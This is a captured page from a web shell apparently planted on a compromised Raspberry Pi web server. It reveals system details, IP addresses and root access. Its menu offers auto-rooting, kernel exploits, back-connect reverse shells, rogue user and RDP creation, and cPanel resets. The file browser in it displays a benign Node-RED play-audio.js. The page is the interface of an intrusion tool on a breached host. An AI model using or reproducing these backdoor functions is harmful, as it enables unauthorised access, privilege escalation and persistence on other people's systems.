Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
node_modules /
node-red-contrib-play-audio /
[ HOME SHELL ]
Name
Size
Permission
Action
locales
[ DIR ]
drwxr-xr-x
LICENSE
9.94
KB
-rw-r--r--
README.md
904
B
-rw-r--r--
package.json
1.67
KB
-rw-r--r--
play-audio.html
5.44
KB
-rw-r--r--
play-audio.js
1.65
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : play-audio.js
/** * Copyright 2015 Lorentz Lasson * Copyright 2015-2019 Lorentz Lasson, Dave Conway-Jones * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ module.exports = function(RED) { var playaudionodeid; function PlayAudioNode(config) { RED.nodes.createNode(this,config); this.voice = config.voice || 0; var node = this; playaudionodeid = this.id; this.on('input', function(msg) { if (Buffer.isBuffer(msg.payload)) { RED.comms.publish("playaudio", msg.payload); node.status({fill:"blue",shape:"dot",text:"playAudio.status.playing"}); } else if (typeof msg.payload === "string") { RED.comms.publish("playtts", node.voice+"#"+msg.payload); node.status({fill:"blue",shape:"dot",text:"playAudio.status.speaking"}); } }); } RED.nodes.registerType("play audio", PlayAudioNode); RED.httpAdmin.get("/playaudio", RED.auth.needsPermission('playaudio.read'), function(req,res) { var node = RED.nodes.getNode(playaudionodeid); if (node != null) { node.status({}); } res.json("OK"); }); }
Close